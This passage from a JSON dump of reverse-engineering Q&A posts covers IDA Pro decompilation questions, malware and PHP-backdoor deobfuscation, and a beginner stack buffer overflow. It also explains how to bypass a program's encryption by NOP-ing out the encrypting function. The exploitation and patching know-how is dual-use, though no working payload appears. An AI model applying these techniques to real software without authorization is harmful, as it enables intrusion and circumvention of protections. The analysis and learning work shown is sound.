bytes to override the RET address for a total of 88 bytes (Buffer + EBP + RET)</p>\n\n<p>This screenshot contains the information you need to know:</p>\n\n<p><img src=\"https://i.stack.imgur.com/nGGCm.png\" alt=\"enter image description here\"></p>\n\n<p>On ExploitMe.c, I break on line 8. The first thing I print is the stack. 0x00881d36 is the RET address.  </p>\n\n<p>Then I print argv<a href=\"https://i.stack.imgur.com/nGGCm.png\" rel=\"nofollow noreferrer\">1</a>, as you can see it is 22 words. It will overwrite the Buffer+EBP+RET exactly. The start of the buffer variable is at 0xbffff308 (ESP+8), so I add that into the end of the payload. </p>\n\n<p>Then I step. The RET has been perfectly overwritten with the buffer memory address.</p>\n\n<p>It should return to the beginning of the buffer and start executing my shell code. All seems fine to me, but instead of giving me a shell, it gives me a segmentation fault. </p>\n\n<p>What's going on? </p>\n\n<p>Thank you.</p>\n",
        "Title": "Beginner buffer overflow - why isn't my shellcode executing?",
        "Tags": "|buffer-overflow|shellcode|",
        "Answer": "<p>When compiling I did not disable the stack smashing protection. Compiling with -z execstack fixed this. </p>\n"
    },
    {
        "Id": "9129",
        "CreationDate": "2015-06-13T23:07:25.087",
        "Body": "<p>I have an issue. The address for a function that I need to overwrite the RET to (buffer overflow) is only 3 bytes. However, I need 4 bytes to overwrite the RET exactly. What do I do?</p>\n",
        "Title": "Address is 3 bytes - need 4 bytes to overwrite RET",
        "Tags": "|buffer-overflow|",
        "Answer": "<p>If the architecture is 32-bit, every address must be 4 bytes so the function address you mentioned is not exception. but as high order 00 is not valuable (in math) it is not normally mentioned:</p>\n\n<p><em>0x0041a82f --> 0x41a82f</em></p>\n\n<p>You must overwrite your address in 4 bytes with former 00. but in many cases (especially string base overflow) it is a problem called \"bad char\", cause payload corruption. you have to fix this problem too.\nGood Luck!</p>\n"
    },
    {
        "Id": "9140",
        "CreationDate": "2015-06-15T12:40:11.150",
        "Body": "<p>I'm analysing some malware executable with ImmDBG and IDA Pro.</p>\n\n<p>The executable calls the <em>kernel32.VirtualAlloc()</em> at runtime with an argument <em>lpAddress=NULL</em> what means that an operating system decides itself where the memory has to be allocated. The <em>VirtualAlloc()</em> returns an address 0x003F0000. After that the executable writes some function to this memory, which is quite big, and I would like to analyse this function in IDA Pro.</p>\n\n<p>The problem is, that my executable is loaded to the 0x004010000 in IDA Pro\nand I don't know how could I extend the memory of the executable in IDA Pro in order to create this function manually(with help of PatchBytes).</p>\n\n<p>Also maybe it's possible somehow to build a function from a sequence of opcodes in IDA Pro?</p>\n\n<p>Thank you in advance!</p>\n",
        "Title": "How can I extend a memory of an analysed executable in IDA Pro?",
        "Tags": "|ida|disassembly|malware|anti-debugging|immunity-debugger|",
        "Answer": "<p>I solved this issue by creating a new section in IDA Pro (<strong>File -> Segments -> Create segment</strong>). After that I dumped new section in OllyDBG (binary copy) and transferred it to the new created section in IDA Pro (with a Python script). After that I could analyse the code and write comments in IDA to make better analysis and documentation.</p>\n"
    },
    {
        "Id": "9143",
        "CreationDate": "2015-06-15T17:08:15.660",
        "Body": "<p>I found this backdoor on a client's website. </p>\n\n<p><a href=\"http://pastebin.com/wVs8w44v\">http://pastebin.com/wVs8w44v</a> (original format)</p>\n\n<p><a href=\"http://pastebin.com/acfx49QJ\">http://pastebin.com/acfx49QJ</a> (semi - readable)</p>\n\n<p>I have gotten rid of it and realise it's an obfuscated script but how can I deobfuscate it in order to get to the root of this matter and understand the motive behind this attack better?</p>\n\n<p>Thanks!</p>\n",
        "Title": "How can I decode this php code?",
        "Tags": "|decryption|deobfuscation|php|",
        "Answer": "<p>I wrote a small Python script to deobfuscate the majority of the string obfuscation:</p>\n\n<pre><code>import urllib\nimport re\n\nphp = urllib.urlopen(\"http://pastebin.com/raw.php?i=wVs8w44v\").read()\n\n# Slight modification below so that we don't escape $\nz26 = \"jmiO@sxhFnD&gt;J\\r/u+RcHz3}g\\nd{^8 ?eVwl_T\\\\\\t|N5q)LobU]40!p%,rC-97k&lt;'y=W:P$1BI&amp;S6\\\"E(K`Y~.Q;f[v2a#X*ZAGtM\"\n\n# Decode all $z26[...] strings\nfor i in range(len(z26)):\n    php = php.replace(\"$z26[\" + str(i) + \"]\", \"\\\"\" + z26[i] + \"\\\"\")\n\n# Concatenate decoded strings\nphp = php.replace(\"\\\".\\\"\", \"\")\n\n# Replace all $GLOBALS[...]\nglobals = {}\nfor m in re.finditer(\"\\$GLOBALS\\['(?P&lt;key&gt;\\w+?)'\\] = \\\"(?P&lt;value&gt;.*?)\\\";\", php):\n    globals[m.group(\"key\")] = m.group(\"value\")\nphp = re.sub(\" \\$GLOBALS\\['(?P&lt;key&gt;\\w+?)'\\] = \\\"(?P&lt;value&gt;.*?)\\\";\", \"\", php)\nfor key in globals.keys():\n    php = php.replace(\"$GLOBALS['\" + key + \"']\", globals[key])\n\nprint php\n</code></pre>\n\n<p>I then formatted the output with <a href=\"http://phpbeautifier.com/\">http://phpbeautifier.com/</a> and stored the results at <a href=\"http://pastebin.com/p7Tmvq4e\">http://pastebin.com/p7Tmvq4e</a>.</p>\n\n<p>The only major thing left to do is to rename the functions and arguments, but that can't be easily automated. I think the content at <a href=\"http://pastebin.com/p7Tmvq4e\">http://pastebin.com/p7Tmvq4e</a> should meet your needs, though!</p>\n"
    },
    {
        "Id": "9145",
        "CreationDate": "2015-06-15T17:21:41.620",
        "Body": "<p>I have exe file that I want to edit function in it.<br>\nI know what is the function name, but how can I found the address by it name?</p>\n",
        "Title": "OllyDbg find function by name",
        "Tags": "|windows|ollydbg|",
        "Answer": "<p>If Olly knows the function name, you can press <kbd>Ctrl</kbd>+<kbd>G</kbd> and start typing the name of the function, it should be listed there. Select you function, and click <code>Follow expression</code>, it should take you there.</p>\n\n<p><img src=\"https://i.stack.imgur.com/EMZKS.png\" alt=\"Go to function in Ollydbg\"></p>\n"
    },
    {
        "Id": "9153",
        "CreationDate": "2015-06-16T16:34:01.337",
        "Body": "<p>I'm trying to reverse-engineer a file format, and I got a buddy of mine (who works in the security field) to decompile the program via Hex-Rays and give me the resulting .C file. I've spent the past several days analyzing this file. However there is still a lot that I am trying to figure out, in particular two parts:</p>\n\n<pre><code>// v42 is a FILE handler, Dst is a 0x40 byte buffer\nif ( !ReadBuffer(&amp;v42, &amp;Dst, 0x40u, 0) ||\n !(unsigned __int8)(*(int (__stdcall **)(char *))(*(_DWORD *)v29 + 20))(&amp;Dst) )\n</code></pre>\n\n<p>I understand the first part, it reads 0x40 bytes into the buffer which is the file header. The second line is very confusing. I know C++ well, but I haven't had to deal with how much is going on with this. My guess is that this is fancy magic for saying \"If the byte at 0x20 is not 1\", but that doesn't make sense.</p>\n\n<p>There's also a password associated with this file. The password itself appears to be a SHA256 hash, but I'm not sure exactly how it's used. Digging into this .C file, I see the function related to the password. It has many lines that look near identical:</p>\n\n<pre><code>    v3 = a3;\n      v4 = __ROL4__(\n         (unsigned __int8)byte_441348[(*(_DWORD *)a1 + *(_DWORD *)a3) &amp;         0xFF] | (((unsigned __int8)byte_441248[((unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) &gt;&gt; 8) &amp; 0xFF] | ((((unsigned __int8)byte_441048[(unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) &gt;&gt; 24] &lt;&lt; 8) | (unsigned __int8)byte_441148[((unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) &gt;&gt; 16) &amp; 0xFF]) &lt;&lt; 8)) &lt;&lt; 8),\n     11);\n      v5 = *(_DWORD *)(a1 + 4) ^ v4;\n</code></pre>\n\n<p>Is there a way that I could figure out what algorithm is being used here without manually converting the code to something usable?</p>\n\n<p>On top of all of this, I know that the file is compressed with zlib (both 1.2.5 and 1.2.1 are being used by two related programs). I believe that there is some transformation from this password on the file before the stream is being inflated by zlib.</p>\n\n<p>Any ideas?</p>\n",
        "Title": "Help with analysis from IDA Pro Hex-Rays dump",
        "Tags": "|ida|decompilation|",
        "Answer": "<p>For your first question, <code>(*(int (__stdcall **)(char *))(*(_DWORD *)v29 + 20))</code> is a function call (<code>v29</code> is an object (perhaps a vtable) that contains a function pointer).</p>\n\n<p>Please create separate posts for each of your other questions (one question per post).</p>\n"
    },
    {
        "Id": "9157",
        "CreationDate": "2015-06-16T22:55:00.667",
        "Body": "<p>I used IDA Pro and got the following expression from a produced C file:</p>\n\n<pre><code>v25 = (*(int (**)(void))(v22 + 464))();\n</code></pre>\n\n<p>I am trying to figure out the meaning of the above expression with the following links:</p>\n\n<p><a href=\"http://www.unixwiz.net/techtips/reading-cdecl.html\" rel=\"nofollow\">http://www.unixwiz.net/techtips/reading-cdecl.html</a>\n<br>\n<a href=\"http://www.codeproject.com/Articles/7042/How-to-interpret-complex-C-C-declarations\" rel=\"nofollow\">http://www.codeproject.com/Articles/7042/How-to-interpret-complex-C-C-declarations</a></p>\n\n<p>I start with <code>(v22 + 464)</code> and then go out of the parenthesis and to the left to the following <code>*(int (**)(void))</code>.</p>\n\n<p>But, still can't understand. Any hints?</p>\n\n<p>EDIT: I guess this expression is not a declaration but a function call.</p>\n\n<p>(v22+464) is then cast to a pointer to a pointer to a function that takes void as an argument and returns an int. Then that pointer is dereference and the () operator is applied - the function is called.</p>\n",
        "Title": "Declaration of a complex C expression",
        "Tags": "|ida|c|functions|",
        "Answer": "<p><code>(*(int (**)(void))(v22 + 464))()</code> is a function call (<code>v22</code> is an object (perhaps a vtable) that contains a function pointer).</p>\n"
    },
    {
        "Id": "9167",
        "CreationDate": "2015-06-17T20:21:44.743",
        "Body": "<p>I am currently working on both a plugin and an ida-python script that export fairly big JSON files.</p>\n\n<p>I just noticed, that both will at times cut off the output files with no error message. Sometimes they will cut off at 8192 Characters and sometimes at roughly 220000 Characters. What is of particular interest to me is the fact that the files are constructed differently.</p>\n\n<p>In the C++ Plugin I open a filepointer and construct the JSON-Data while cycling through my sample like this:</p>\n\n<pre><code>FILE *fp;\nfp = qfopen(\"C:\\\\output.json\" ,\"w\");\nqfprintf(fp,\"{\\\"filename\\\": \\\"%s\\\", \\\"functions\\\":[ \", filename);\n</code></pre>\n\n<p>In the Python Script I construct a (big) dictionary and use </p>\n\n<pre><code>fn=GetInputFile()+'.json'\nf=open(fn,'w')\nf.write(json.dumps(jsonfunc))\n</code></pre>\n\n<p>Of course I will need my output file intact, but I can't find any help googling. Still I feel like I'm missing something really trivial.</p>\n\n<p>Best regards</p>\n\n<p>Edit: Fixed by using </p>\n\n<pre><code>qflush(fp) //&lt;-within the workloop\nqfclose(fp)\n</code></pre>\n\n<p>and for the python script respectively:</p>\n\n<pre><code>f.close()\n</code></pre>\n",
        "Title": "IDA Plugin/Script Output File Character Limit?",
        "Tags": "|ida|idapython|ida-plugin|",
        "Answer": "<p>Fixed in the Plugin by using</p>\n\n<pre><code>qflush(fp) //&lt;-within the workloop\nqfclose(fp)\n</code></pre>\n\n<p>and for the Python script respectively:</p>\n\n<pre><code>f.close()\n</code></pre>\n"
    },
    {
        "Id": "9168",
        "CreationDate": "2015-06-17T22:03:20.707",
        "Body": "<p>I have a program that reads data from a file, parses/organizes it, and spits it out as an encrypted XML. The application can also take an encrypted XML and spit out the original file. My objective at this point would be to access the clear-text XML (I'm not interested in the clear text original file as it's not XML organized)</p>\n\n<p>I have no idea what the encryption is yet although one guy on a forum said it was AES-128 (not sure how he got to that conclusion).</p>\n\n<p>I ran PEiD with the KANAL plugin on the application, it doesn't detect any encryption signatures.</p>\n\n<p>Because I have access to the program and some past some experience with exploiting BO on WinXP with some knowledge of ASM, I figured I could give it a try using a debugger.</p>\n\n<p>In a nutshell, what are the general steps I should be following to figure this out? In this situation would it be best to start looking for the encryption key itself, or find a way to use the application's encrypt/decrypt functions to my advantage?</p>\n",
        "Title": "Reversing encryption by analysing executable",
        "Tags": "|encryption|",
        "Answer": "<p>There are typically many ways to start, and which one you want to use depends on your experience. Also, what works for one target might fail on another, and vice versa. What i'd start with is:</p>\n\n<ul>\n<li>Use signsrch to check if the executable has a standard encryption algorithm linked in. Note that this might yield false positives (if the application links openssl, for example, you might find signatures of many algorithms even if only one or two of them get used)</li>\n<li>Check for strings in the file that relate to encryption, and google for them. Maybe this helps to find which encryption library was used. For example, the string <code>SHA-%d test #%d:</code> quickly leads to the <code>polarssl</code> source code.</li>\n<li>Trace the application while running procmon. You will probably find a sequence of <code>CreateFile</code>, multiple <code>WriteFile</code> and a <code>CloseFile</code> call, when writing the encrypted file, and the same with <code>ReadFile</code> when reading the encrypted file. In some cases, the parameters of these calls give you a hint already; for example, if the first <code>WriteFile</code> has a byte count of 32, and every following call 4096, this could be a hint that the first 32 bytes are a 256-bit key.</li>\n<li>Check the stack when a call to <code>ReadFile</code> or <code>WriteFile</code> happens, You can do this by placing a breakpoint there while running the application under a debugger, or (much easier imho) look at the stack for several of the <code>procmon</code> calls. This gives you a hint of which chain of functions encrypts the file and writes it.</li>\n<li><p>Pay attention to the stack differences in the <code>CreateFile</code>, <code>WriteFile</code> on the encrypted file, and possibly <code>WriteFile</code> on something else. These might as well give you hint which is your encryption function. For example:</p>\n\n<ul>\n<li>The <code>CreateFile</code> for the encrypted file has the stack <code>ABCDEFGH</code></li>\n<li>The <code>WriteFile</code> for the encrypted file has the stack <code>ABCIJKLM</code></li>\n<li>The <code>WriteFile</code> for something else has the stack <code>ABNOPKLM</code></li>\n</ul>\n\n<p>where each letter is one stack entry. In this case, i'd assume <code>KLM</code> to be part of the runtime library (<code>fwrite</code>, <code>write</code>, ....), since unrelated <code>WriteFile</code>s share it, <code>C</code> to be the main writer function (as it's the last to call <code>CreateFile</code> and <code>WriteFile</code>), and <code>I</code> and <code>J</code> the functions that encrypt and write.</p></li>\n<li>Load the file into IDA, or OllyDbg, and have a closer look at <code>C</code>, <code>I</code> and <code>J</code>. Which other functions do they call? Are some of these functions the same ones you identified with signsrch earlier?</li>\n<li>Run the file under the control of IDA, or OllyDbg, and place breakpoints on <code>C</code>, <code>I</code>, <code>J</code>, and maybe some of the functions you found with signsrch. Check the parameters on entry and exit from these functions. Do some of them ring a bell? Does one of the functions has a parameter that is a pointer to a buffer which looks like XML before the function is called, and garbage after it's called? Or vice versa when reading? Congrats, you've just found the function that does the encryption.</li>\n<li>When you found the function that does the encryption, instead of figuring out how it works, it <em>might</em> just be easier to replace the call to it with a series of <code>NOP</code>s (beware of return codes though, maybe you need to set <code>eax</code> to something). Bingo, you have a program that writes plain XML instead of encrypted XML now, without ever figuring out the details of the encryption and having to write one single line of code (unless you consider a series of <code>NOP</code>s code, that is).</li>\n</ul>\n"
    },
    {
        "Id": "9177",
        "CreationDate": "2015-06-19T19:29:12.867",
        "Body": "<p>I have decompiled a DLL and IDA Pro came up with the following code:</p>\n\n<pre><code>signed int __thiscall sub_10029900(void *a1, int a2) \n{    \nint v2; // esi@1\nint v3; // ebx@1\nint v4; // eax@1\nint v5; // edx@3\nint v6; // eax@5\nsigned int v7; // esi@5\nbool v8; // cf@7\nsigned int v9; // eax@8\nint v11; // [sp+10h] [bp-20h]@1\n\nv2 = 0;\nv3 = EnumFirstValidChild(a1, &amp;v11);\n\n..........\n\nreturn v2;\n}\n</code></pre>\n\n<p>Where <code>EnumFirstValidChild</code> is defined as:</p>\n\n<pre><code>int __userpurge EnumFirstValidChild&amp;lt;eax&gt;(int a1&amp;lt;eax&gt;, int a2, int a3);\n</code></pre>\n\n<p>I modified the code above to call the userpurge function as follows:</p>\n\n<pre><code>int *v12 = &amp;v11;\n\n__asm \n{ \n  push v12\n  push a1\n  call sub_10029800\n  mov v3, eax\n}\n</code></pre>\n\n<p>The problem I am having is that the call to this function is causing a stack a Run-Time Check Failure #2 - Stack around <code>v11</code> variable.</p>\n\n<p><code>v11</code> is 4 bytes long and I see that more than 16 bytes are wtitten to that pointer.</p>\n\n<p>What could it be wrong? </p>\n\n<p>Thanks!</p>\n\n<p><strong>EDIT:</strong> </p>\n\n<p>Disassembled code listing of <code>sub_10029900</code></p>\n\n<pre><code>.text:10029900 ; =============== S U B R O U T I N E ===========\n.text:10029900\n.text:10029900 ; Attributes: bp-based frame\n.text:10029900\n.text:10029900 sub_10029900    proc near               ; CODE XREF: sub_1000F400+F1p\n.text:10029900                                         ; sub_10010870+135p ...\n.text:10029900\n.text:10029900 var_20          = dword ptr -20h\n.text:10029900 arg_0           = dword ptr  8\n.text:10029900\n.text:10029900                 mov     edi, edi\n.text:10029902                 push    ebp\n.text:10029903                 mov     ebp, esp\n.text:10029905                 and     esp, 0FFFFFFF8h\n.text:10029908                 sub     esp, 24h\n.text:1002990B                 lea     eax, [esp+24h+var_20]\n.text:1002990F                 push    ebx\n.text:10029910                 push    esi\n.text:10029911                 push    edi\n.text:10029912                 push    eax\n.text:10029913                 push    ecx\n.text:10029914                 xor     esi, esi\n.text:10029916                 call    ds:EnumFirstValidChild\n.text:1002991C                 mov     ebx, eax\n.text:1002991E                 lea     eax, [esi+1]\n.text:10029921                 test    ebx, ebx\n.text:10029923                 jz      short loc_10029985\n.text:10029925                 mov     edi, [ebp+arg_0]\n.text:10029928\n.text:10029928 loc_10029928:                           ; CODE XREF: sub_10029900+6Aj\n.text:10029928                 test    eax, eax\n.text:1002992A                 jz      short loc_10029983\n.text:1002992C                 mov     edx, [esp+30h+var_20]\n.text:10029930                 test    edx, edx\n.text:10029932                 jz      short loc_1002995E\n.text:10029934                 test    edi, edi\n.text:10029936                 jz      short loc_1002995E\n.text:10029938                 mov     eax, edi\n.text:1002993A                 mov     esi, 0Ch\n.text:1002993F                 nop\n.text:10029940\n.text:10029940 loc_10029940:                           ; CODE XREF: sub_10029900+4Fj\n.text:10029940                 mov     ecx, [edx]\n.text:10029942                 cmp     ecx, [eax]\n.text:10029944                 jnz     short loc_10029958\n.text:10029946                 add     edx, 4\n.text:10029949                 add     eax, 4\n.text:1002994C                 sub     esi, 4\n.text:1002994F                 jnb     short loc_10029940\n.text:10029951                 mov     eax, 1\n.text:10029956                 jmp     short loc_1002995A\n.text:10029958 ; ---------------------------------------------------------------------------\n.text:10029958\n.text:10029958 loc_10029958:                           ; CODE XREF: sub_10029900+44j\n.text:10029958                 xor     eax, eax\n.text:1002995A\n.text:1002995A loc_1002995A:                           ; CODE XREF: sub_10029900+56j\n.text:1002995A                 test    eax, eax\n.text:1002995C                 jnz     short loc_1002996C\n.text:1002995E\n.text:1002995E loc_1002995E:                           ; CODE XREF: sub_10029900+32j\n.text:1002995E                                         ; sub_10029900+36j\n.text:1002995E                 lea     eax, [esp+30h+var_20]\n.text:10029962                 push    eax\n.text:10029963                 push    ebx\n.text:10029964                 call    ds:EnumNextValidChild\n.text:1002996A                 jmp     short loc_10029928\n.text:1002996C ; ---------------------------------------------------------------------------\n.text:1002996C\n.text:1002996C loc_1002996C:                           ; CODE XREF: sub_10029900+5Cj\n.text:1002996C                 push    ebx\n.text:1002996D                 mov     esi, 1\n.text:10029972                 call    ds:EndEnumValidChild\n.text:10029978                 mov     eax, esi\n.text:1002997A                 pop     edi\n.text:1002997B                 pop     esi\n.text:1002997C                 pop     ebx\n.text:1002997D                 mov     esp, ebp\n.text:1002997F                 pop     ebp\n.text:10029980                 retn    4\n.text:10029983 ; ---------------------------------------------------------------------------\n</code></pre>\n\n<p>Disassembled code listing of <code>EnumFirstValidChild</code>.</p>\n\n<pre><code>.text:1000B710 ; Exported entry   4. EnumFirstValidChild\n.text:1000B710\n.text:1000B710 ; =============== S U B R O U T I N E ==============\n.text:1000B710\n.text:1000B710 ; Attributes: bp-based frame\n.text:1000B710\n.text:1000B710                 public EnumFirstValidChild\n.text:1000B710 EnumFirstValidChild proc near ; DATA XREF: .text:off_10027368o\n.text:1000B710\n.text:1000B710 var_28          = dword ptr -28h\n.text:1000B710 var_24          = dword ptr -24h\n.text:1000B710 var_20          = dword ptr -20h\n.text:1000B710 var_1C          = dword ptr -1Ch\n.text:1000B710 var_18          = byte ptr -18h\n.text:1000B710 var_C           = dword ptr -0Ch\n.text:1000B710 var_4           = dword ptr -4\n.text:1000B710 arg_0           = dword ptr  8\n.text:1000B710 arg_4           = dword ptr  0Ch\n.text:1000B710\n.text:1000B710                 mov     edi, edi\n.text:1000B712                 push    ebp\n.text:1000B713                 mov     ebp, esp\n.text:1000B715                 and     esp, 0FFFFFFF8h\n.text:1000B718                 mov     eax, large fs:0\n.text:1000B71E                 push    0FFFFFFFFh\n.text:1000B720                 push    offset SEH_1001DAD0\n.text:1000B725                 push    eax\n.text:1000B726                 mov     large fs:0, esp\n.text:1000B72D                 sub     esp, 20h\n.text:1000B730                 mov     ecx, dword_1002ACE8\n.text:1000B736                 push    ebx\n.text:1000B737                 push    esi\n.text:1000B738                 push    edi\n.text:1000B739                 xor     edi, edi\n.text:1000B73B                 test    ecx, ecx\n.text:1000B73D                 jnz     short loc_1000B77D\n.text:1000B73F                 push    dword_1002ACE4\n.text:1000B745                 lea     eax, [esp+3Ch+var_28]\n.text:1000B749                 push    eax\n.text:1000B74A                 push    7Ch\n.text:1000B74C                 push    1\n.text:1000B74E                 call    ds:api_func_107\n.text:1000B754                 mov     ecx, [esp+38h+var_28]\n.text:1000B758                 mov     [esp+38h+var_24], ecx\n.text:1000B75C                 mov     [esp+38h+var_4], edi\n.text:1000B760                 test    ecx, ecx\n.text:1000B762                 jz      short loc_1000B76D\n.text:1000B764                 call    sub_10005440\n.text:1000B769                 mov     ecx, eax\n.text:1000B76B                 jmp     short loc_1000B76F\n.text:1000B76D ; ---------------------------------------------------------------------------\n.text:1000B76D\n.text:1000B76D loc_1000B76D:                           ; CODE XREF: EnumFirstValidChild+52j\n.text:1000B76D                 xor     ecx, ecx\n.text:1000B76F\n.text:1000B76F loc_1000B76F:                           ; CODE XREF: EnumFirstValidChild+5Bj\n.text:1000B76F                 mov     [esp+38h+var_4], 0FFFFFFFFh\n.text:1000B777                 mov     dword_1002ACE8, ecx\n.text:1000B77D\n.text:1000B77D loc_1000B77D:                           ; CODE XREF: EnumFirstValidChild+2Dj\n.text:1000B77D                 mov     eax, [ebp+arg_0]\n.text:1000B780                 lea     esi, [ecx+34h]\n.text:1000B783                 mov     [esp+38h+var_24], eax\n.text:1000B787                 mov     ecx, esi\n.text:1000B789                 lea     eax, [esp+38h+var_24]\n.text:1000B78D                 push    eax\n.text:1000B78E                 lea     eax, [esp+3Ch+var_18]\n.text:1000B792                 push    eax\n.text:1000B793                 call    sub_10008330\n.text:1000B798                 mov     ecx, [eax]\n.text:1000B79A                 mov     ebx, [eax+4]\n.text:1000B79D                 mov     eax, [esi+4]\n.text:1000B7A0                 mov     [esp+38h+var_20], ecx\n.text:1000B7A4                 mov     [esp+38h+var_1C], ebx\n.text:1000B7A8                 mov     [esp+38h+var_24], eax\n.text:1000B7AC                 test    ecx, ecx\n.text:1000B7AE                 jz      short loc_1000B7B4\n.text:1000B7B0                 cmp     ecx, esi\n.text:1000B7B2                 jz      short loc_1000B7BE\n.text:1000B7B4\n.text:1000B7B4 loc_1000B7B4:                           ; CODE XREF: EnumFirstValidChild+9Ej\n.text:1000B7B4                 call    ds:_invalid_parameter_noinfo\n.text:1000B7BA                 mov     eax, [esp+38h+var_24]\n.text:1000B7BE\n.text:1000B7BE loc_1000B7BE:                           ; CODE XREF: EnumFirstValidChild+A2j\n.text:1000B7BE                 mov     esi, [ebp+arg_4]\n.text:1000B7C1                 cmp     ebx, eax\n.text:1000B7C3                 jz      short loc_1000B80B\n.text:1000B7C5                 lea     ecx, [esp+38h+var_20]\n.text:1000B7C9                 call    sub_10008390\n.text:1000B7CE                 mov     ebx, [eax+4]\n.text:1000B7D1                 test    ebx, ebx\n.text:1000B7D3                 jz      short loc_1000B80B\n.text:1000B7D5                 push    esi\n.text:1000B7D6                 push    0\n.text:1000B7D8                 mov     ecx, ebx\n.text:1000B7DA                 call    sub_1001D620\n.text:1000B7DF                 test    eax, eax\n.text:1000B7E1                 jz      short loc_1000B80B\n.text:1000B7E3                 push    dword_1002ACE4\n.text:1000B7E9                 lea     eax, [esp+3Ch+var_24]\n.text:1000B7ED                 push    eax\n.text:1000B7EE                 push    8\n.text:1000B7F0                 push    1\n.text:1000B7F2                 call    ds:api_func_107\n.text:1000B7F8                 mov     edi, [esp+38h+var_24]\n.text:1000B7FC                 test    edi, edi\n.text:1000B7FE                 jz      short loc_1000B80B\n.text:1000B800                 mov     [edi], ebx\n.text:1000B802                 mov     dword ptr [edi+4], 0\n.text:1000B809                 jmp     short loc_1000B824\n.text:1000B80B ; ---------------------------------------------------------------------------\n.text:1000B80B\n.text:1000B80B loc_1000B80B:                           ; CODE XREF: EnumFirstValidChild+B3j\n.text:1000B80B                                         ; EnumFirstValidChild+C3j ...\n.text:1000B80B                 xor     eax, eax\n.text:1000B80D                 mov     [esi], eax\n.text:1000B80F                 mov     [esi+4], eax\n.text:1000B812                 mov     [esi+8], eax\n.text:1000B815                 mov     [esi+0Ch], eax\n.text:1000B818                 mov     [esi+10h], eax\n.text:1000B81B                 mov     [esi+14h], eax\n.text:1000B81E                 mov     [esi+18h], eax\n.text:1000B821                 mov     [esi+1Ch], eax\n.text:1000B824\n.text:1000B824 loc_1000B824:                           ; CODE XREF: EnumFirstValidChild+F9j\n.text:1000B824                 mov     ecx, [esp+38h+var_C]\n.text:1000B828                 mov     eax, edi\n.text:1000B82A                 pop     edi\n.text:1000B82B                 pop     esi\n.text:1000B82C                 mov     large fs:0, ecx\n.text:1000B833                 pop     ebx\n.text:1000B834                 mov     esp, ebp\n.text:1000B836                 pop     ebp\n.text:1000B837                 retn    8\n.text:1000B837 EnumFirstValidChild endp\n.text:1000B837\n.text:1000B837 ; ---------------------------------------------------------------------------\n</code></pre>\n\n<p>Decompiled code of <code>sub_10029900</code>.</p>\n\n<pre><code>signed int __thiscall sub_10029900(void *this, int a2) //note that I changed *this to *a1\n{\n  int v2; // esi@1\n  int v3; // ebx@1\n  int v4; // eax@1\n  int v5; // edx@3\n  int v6; // eax@5\n  signed int v7; // esi@5\n  bool v8; // cf@7\n  signed int v9; // eax@8\n  int v11; // [sp+10h] [bp-20h]@1\n\n  v2 = 0;\n  v3 = EnumFirstValidChild(this, &amp;v11);\n  v4 = 1;\n  if ( v3 )\n  {\n    while ( v4 )\n    {\n     v5 = v11;\n      if ( v11 &amp;&amp; a2 )\n      {\n        v6 = a2;\n        v7 = 12;\n        while ( *(_DWORD *)v5 == *(_DWORD *)v6 )\n        {\n          v5 += 4;\n          v6 += 4;\n          v8 = (unsigned int)v7 &lt; 4;\n          v7 -= 4;\n          if ( v8 )\n          {\n            v9 = 1;\n            goto LABEL_10;\n          }\n        }\n        v9 = 0;\nLABEL_10:\n        if ( v9 )\n        {\n          EndEnumValidChild(v3);\n          return 1;\n       }\n      }\n      v4 = EnumNextValidChild(v3, &amp;v11);\n    }\n    v2 = 0;\n  }\n  EndEnumValidChild(v3);\n  return v2;\n}\n</code></pre>\n\n<p>Decompiled code of <code>EnumFirstValidChild</code>.</p>\n\n<pre><code>int __userpurge EnumFirstValidChild&lt;eax&gt;(int a1&lt;eax&gt;, int a2, int a3)\n{\n  int v3; // ecx@1\n  int v4; // edi@1\n  int v5; // esi@6\n  int v6; // eax@6\n  int v7; // ecx@6\n  int v8; // ebx@6\n  int v9; // eax@6\n  int v10; // ebx@10\n  int v12; // [sp+1Ch] [bp-28h]@2\n  int v13; // [sp+20h] [bp-24h]@2\n  int v14; // [sp+24h] [bp-20h]@6\n  int v15; // [sp+28h] [bp-1Ch]@6\n  char v16; // [sp+2Ch] [bp-18h]@6\n  int v17; // [sp+38h] [bp-Ch]@1\n  int (__cdecl *v18)(); // [sp+3Ch] [bp-8h]@1\n  int v19; // [sp+40h] [bp-4h]@1\n\n  v19 = -1;\n  v18 = SEH_1001DAD0;\n  v17 = a1;\n  v3 = dword_1002ACE8;\n  v4 = 0;\n  if ( !dword_1002ACE8 )\n  {\n    api_func_107(1, 124, &amp;v12, dword_1002ACE4);\n    v13 = v12;\n    v19 = 0;\n    if ( v12 )\n      v3 = sub_10005440(v12);\n    else\n      v3 = 0;\n    v19 = -1;\n    dword_1002ACE8 = v3;\n  }\n  v5 = v3 + 52;\n  v13 = a2;\n  v6 = sub_10008330(v3 + 52, (int)&amp;v16, (int)&amp;v13);\n  v7 = *(_DWORD *)v6;\n  v8 = *(_DWORD *)(v6 + 4);\n  v9 = *(_DWORD *)(v5 + 4);\n  v14 = v7;\n  v15 = v8;\n  v13 = v9;\n  if ( !v7 || v7 != v5 )\n  {\n    invalid_parameter_noinfo(v7);\n    v9 = v13;\n  }\n  if ( v8 != v9\n    &amp;&amp; (v10 = *(_DWORD *)(sub_10008390(&amp;v14) + 4)) != 0\n    &amp;&amp; sub_1001D620(v10, 0, a3)\n    &amp;&amp; (api_func_107(1, 8, &amp;v13, dword_1002ACE4), (v4 = v13) != 0) )\n  {\n    *(_DWORD *)v13 = v10;\n    *(_DWORD *)(v4 + 4) = 0;\n  }\n  else\n  {\n    *(_DWORD *)a3 = 0;\n    *(_DWORD *)(a3 + 4) = 0;\n    *(_DWORD *)(a3 + 8) = 0;\n    *(_DWORD *)(a3 + 12) = 0;\n    *(_DWORD *)(a3 + 16) = 0;\n    *(_DWORD *)(a3 + 20) = 0;\n    *(_DWORD *)(a3 + 24) = 0;\n    *(_DWORD *)(a3 + 28) = 0;\n  }\n  return v4;\n}\n</code></pre>\n",
        "Title": "Problem with IDA Pro Code",
        "Tags": "|ida|",
